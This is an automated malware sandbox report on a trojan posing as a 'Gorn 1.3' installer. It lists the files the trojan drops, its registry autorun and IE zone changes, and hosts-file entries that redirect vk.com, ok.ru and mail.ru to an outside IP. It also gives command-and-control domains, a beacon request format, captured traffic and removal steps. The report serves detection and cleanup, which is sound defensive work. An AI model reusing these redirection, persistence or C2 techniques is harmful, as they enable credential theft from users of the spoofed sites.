Trojan.GenericKD.2143286_47dcbc00a5
Trojan.NSIS.Agent.el (Kaspersky), Trojan.GenericKD.2143286 (AdAware)
Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
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MD5: 47dcbc00a52126aeb8382ce86b5f4892
SHA1: 6e90988c0423f55d382a1d81a145577e8944f06e
SHA256: a053194680f5a6dec6766f5c008566207e3ee0d5f412449db0f92e84bb7f0c5b
SSDeep: 6144:yZXBsWqsE/Ao mv8Qv0LVmwq4FU0nN876sa1A7uxI1yRS9DY1y29gv:0XmwRo mv8QD4 0N46lScM9DYjo
Size: 310861 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: BorlandDelphi30, BorlandDelphiv30, UPolyXv05_v6
Company: no certificate found
Created at: 1992-06-20 01:22:17
Analyzed on: WindowsXP SP3 32-bit
Summary:
Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
%original file name%.exe:396
crypt.exe:1388
WScript.exe:1524
WScript.exe:1224
The Trojan injects its code into the following process(es):
crypt.exe:1252
Mutexes
The following mutexes were created/opened:
No objects were found.
File activity
The process %original file name%.exe:396 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Program Files%\Gorn\Gorn\prostoigra.bat (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\$inst\temp_0.tmp (230 bytes)
%Program Files%\Gorn\Gorn\2.txt (27 bytes)
%Program Files%\Gorn\Gorn\Uninstall.exe (3832 bytes)
%Program Files%\Gorn\Gorn\crypt.exe (2753 bytes)
%Program Files%\Gorn\Gorn\neznoesvidanie.vbs (292 bytes)
%Program Files%\Gorn\Gorn\dns_bablo.vbs (819 bytes)
%Program Files%\Gorn\Gorn\Uninstall.ini (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\$inst\2.tmp (68 bytes)
%Program Files%\Gorn\Gorn\1.txt (15 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\$inst (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\$inst\2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\$inst\temp_0.tmp (0 bytes)
The process crypt.exe:1388 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsh2.tmp (2294 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\systematists.dll (1856 bytes)
%Documents and Settings%\%current user%\Application Data\default (1).cfl (1552 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\systematists.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp (0 bytes)
The process WScript.exe:1524 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\86[1].htm (2 bytes)
Registry activity
The process %original file name%.exe:396 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"EstimatedSize" = "191"
"Publisher" = "Gorn"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"DisplayIcon" = "%Program Files%\Gorn\Gorn\Uninstall.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"NoModify" = "1"
"UninstallString" = "%Program Files%\Gorn\Gorn\Uninstall.exe"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"DisplayName" = "Gorn 1.3"
"InstallDate" = "20150217"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"NoRepair" = "1"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Gorn\Gorn]
"CRYPT.EXE" = "crypt"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"wscript.exe" = "Microsoft (R) Windows Based Script Host"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Gorn\Gorn]
"prostoigra.bat" = "prostoigra"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 12 B6 B0 D2 32 85 BD 7E 97 01 F0 56 2B 4C BC"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"VersionMajor" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"InstallSource" = "c:\"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Gorn 1.3]
"Language" = "1033"
"VersionMinor" = "3"
"InstallLocation" = "%Program Files%\Gorn\Gorn\"
"DisplayVersion" = "1.3"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Gorn" = "%Program Files%\Gorn\Gorn\crypt.exe"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The process crypt.exe:1252 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 64 43 64 FB E3 FC F7 CC B9 B0 BF A5 B1 57 02"
[HKCU\Software\NVIDIA Corporation\Global\nvUpdate]
"Value" = "20150126"
"Guid" = "cb631cb5-98b9-4c8d-b63a-b34831512edc"
The process crypt.exe:1388 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "87 67 6F DC 1B FD 2D 24 4B AC BE B9 E7 82 CB CF"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
The process WScript.exe:1524 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5B B8 79 AD 64 D1 9B FD DA 3E 77 30 0D A7 D8 33"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process WScript.exe:1224 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F 25 3C CB 39 AC D1 8F 2B 5B B0 E9 A4 02 0D 66"
Dropped PE files
| MD5 | File path |
|---|---|
| e3e0d8d110b52b93ffab9842516ed8ec | c:\Program Files\Gorn\Gorn\Uninstall.exe |
| fc3a9f9d2e63668a2630eb87b99ae6a3 | c:\Program Files\Gorn\Gorn\crypt.exe |
HOSTS file anomalies
The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 1178 bytes in size. The following strings are added to the hosts file listed below:
| 104.243.38.251 | my.mail.ru |
| 104.243.38.251 | m.my.mail.ru |
| 104.243.38.251 | vk.com |
| 104.243.38.251 | ok.ru |
| 104.243.38.251 | m.vk.com |
| 104.243.38.251 | odnoklassniki.ru |
| 104.243.38.251 | vk.com |
| 104.243.38.251 | www.odnoklassniki.ru |
| 104.243.38.251 | m.odnoklassniki.ru |
| 104.243.38.251 | ok.ru |
| 104.243.38.251 | m.ok.ru |
| 104.243.38.251 | www.odnoklassniki.ru |
| 104.243.38.251 | sotialmonstercookie.ru |
| 217.20.152.226 | st.mycdn.me |
| 217.20.156.72 | mycdn.me |
Rootkit activity
No anomalies have been detected.
Propagation
VersionInfo
Company Name: Gorn
Product Name:
Product Version:
Legal Copyright: Gorn
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.3
File Description: Gorn 1.3 Installation
Comments:
Language: English (United States)
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| CODE | 4096 | 148684 | 148992 | 4.57087 | bac8bae7a5e5326cf49943b90d1c062a |
| DATA | 155648 | 10388 | 10752 | 2.62963 | abafcbfbd7f8ac0226ca496a92a0cf06 |
| BSS | 167936 | 4341 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
| .idata | 176128 | 6040 | 6144 | 3.38637 | 7a4934595db0efc364c3982c4e335d8c |
| .tls | 184320 | 8 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
| .rdata | 188416 | 24 | 512 | 0.14174 | c4fdd0c5c9efb616fcc85d66056ca490 |
| .reloc | 192512 | 6276 | 6656 | 4.56552 | 867a1120317d51734587a74f6ee70016 |
| .rsrc | 200704 | 17716 | 17920 | 4.23731 | 37d7c69179fd9026e20bc284cac35cd0 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 8
8fa1d401efdc8f2d6f38889e0ff3ae17
aaddd8d4e79e9327162b35db9b96abb5
a393f9f372840a9184d01323243bf08b
2601cb0f40ed8f01e052a344ed349383
dc56c69b5607e188be4cdb864cfdc23b
c11c94ee1112ffaa9e96d7e381f9c39d
a8af34d443637a23be69d3887c4f08e6
10bbc7a5cbc14ab1e8a8c45b6a5d5710
URLs
| URL | IP |
|---|---|
| hxxp://104.207.142.110/apologi/trotski/86/?mwa=5a2f3f | |
| time.windows.com |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /apologi/trotski/86/?mwa=5a2f3f HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 104.207.142.110
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Mon, 16 Feb 2015 22:20:17 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.22
Set-Cookie: ci_session=9aCuiJCWy7YEzcik5CWNbWSsAX3DyAqMbQWhboEZAqHBcOwzUbk4NaR99Htkk+cbtaW5fOjFljhaEG03d58wFO9BFCUWvoaJk2y1LJIGT0g2+rO7bPeAHrlJABv1sVRr1dV0AwFXdstsRWvQYbP0rkAqNuzV4F6Xqbmd0csfV8HsPph+4Au8fpTyVJ3zm93ZCFGiWeCvjXpZTpHVBzw8h2rr9YrO4D1zPN+LQUA5kjNs6d4h2j8ECpXinwHluGgbah346MrmBRcMoEShisdTzBZvMrn6m8EZfCsWBm0UaduAHdvnPj9veZJgxtIzbl9/2FDnVeita1XNurDJla4PTVZyrBn2ZRgWgomHf2vKX/B+L8M/ydARBjMHH0GfYHPlPCcvZ0DK147VBR9SDhMPV/5xyYLM4nunquiS34UEkekPuwNeo2SsiCvEgRBpOCWnfJi3jk4s5M4qE0SRAQaFPQ==; path=/2..ok..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Mon, 16 Feb 2015
22:20:17 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..X-Powered-By: PHP/5.4.22..Set-Cookie: ci_session
=9aCuiJCWy7YEzcik5CWNbWSsAX3DyAqMbQWhboEZAqHBcOwzUbk4NaR99Htkk+cbtaW
5fOjFljhaEG03d58wFO9BFCUWvoaJk2y1LJIGT0g2+rO7bPeAHrlJABv1sVRr1dV0AwF
XdstsRWvQYbP0rkAqNuzV4F6Xqbmd0csfV8HsPph+4Au8fpTyVJ3zm93ZCFGiWeCvjXp
ZTpHVBzw8h2rr9YrO4D1zPN+LQUA5kjNs6d4h2j8ECpXinwHluGgbah346MrmBRcMoES
hisdTzBZvMrn6m8EZfCsWBm0UaduAHdvnPj9veZJgxtIzbl9/2FDnVeita1XNurDJla4
PTVZyrBn2ZRgWgomHf2vKX/B+L8M/ydARBjMHH0GfYHPlPCcvZ0DK147VBR9SDhM
PV/5xyYLM4nunquiS34UEkekPuwNeo2SsiCvEgRBpOCWnfJi3jk4s5M4qE0SRAQaFPQ%
3D=; path=/..2..ok..0..
The Trojan connects to the servers at the folowing location(s):
.text
P`.data
.rdata
[email protected]_fram
[email protected]
.idata
bpass
qcb631cb5-98b9-4c8d-b63a-b34831512edc
libgcj-13.dll
@%s:%s:%d
-_.!~*'()
GET /stat?uptime=%d&downlink=%d&uplink=%d&id=%s&statpass=%s&version=%d&features=%d&guid=%s&comment=%s&p=%d&s=%s HTTP/1.0
badpass
%s:%s
20150126
server-%s.o12955reps.com:35,server-%s.updmaker.com:35,server-%s.gglerr.com:35,server-%s.statgglr.com:35,server-%s.toolgot.com:35,server-%s.sndcmdex.com:35,server-%s.sendrepp.com:35,server-%s.microrepo.com:35
8kernel32.dll
advapi32.dll
rpcrt4.dll
shlwapi.dll
RegCreateKeyA
RegCloseKey
RegOpenKeyA
ws2_32.dll
VirtualQuery failed for %d bytes at address %p
Unknown pseudo relocation protocol version %d.
Unknown pseudo relocation bit size %d.
GCC: (tdm-2) 4.8.1
KERNEL32.dll
msvcrt.dll
crypt.exe_1252_rwx_00400000_00010000:
.text
P`.data
.rdata
[email protected]_fram
[email protected]
.idata
bpass
qcb631cb5-98b9-4c8d-b63a-b34831512edc
libgcj-13.dll
@%s:%s:%d
-_.!~*'()
GET /stat?uptime=%d&downlink=%d&uplink=%d&id=%s&statpass=%s&version=%d&features=%d&guid=%s&comment=%s&p=%d&s=%s HTTP/1.0
badpass
%s:%s
20150126
server-%s.o12955reps.com:35,server-%s.updmaker.com:35,server-%s.gglerr.com:35,server-%s.statgglr.com:35,server-%s.toolgot.com:35,server-%s.sndcmdex.com:35,server-%s.sendrepp.com:35,server-%s.microrepo.com:35
8kernel32.dll
advapi32.dll
rpcrt4.dll
shlwapi.dll
RegCreateKeyA
RegCloseKey
RegOpenKeyA
ws2_32.dll
VirtualQuery failed for %d bytes at address %p
Unknown pseudo relocation protocol version %d.
Unknown pseudo relocation bit size %d.
GCC: (tdm-2) 4.8.1
KERNEL32.dll
msvcrt.dll
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:396
crypt.exe:1388
WScript.exe:1524
WScript.exe:1224 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Program Files%\Gorn\Gorn\prostoigra.bat (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\$inst\temp_0.tmp (230 bytes)
%Program Files%\Gorn\Gorn\2.txt (27 bytes)
%Program Files%\Gorn\Gorn\Uninstall.exe (3832 bytes)
%Program Files%\Gorn\Gorn\crypt.exe (2753 bytes)
%Program Files%\Gorn\Gorn\neznoesvidanie.vbs (292 bytes)
%Program Files%\Gorn\Gorn\dns_bablo.vbs (819 bytes)
%Program Files%\Gorn\Gorn\Uninstall.ini (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\$inst\2.tmp (68 bytes)
%Program Files%\Gorn\Gorn\1.txt (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh2.tmp (2294 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\systematists.dll (1856 bytes)
%Documents and Settings%\%current user%\Application Data\default (1).cfl (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\86[1].htm (2 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Gorn" = "%Program Files%\Gorn\Gorn\crypt.exe" - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
127.0.0.1 localhost - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.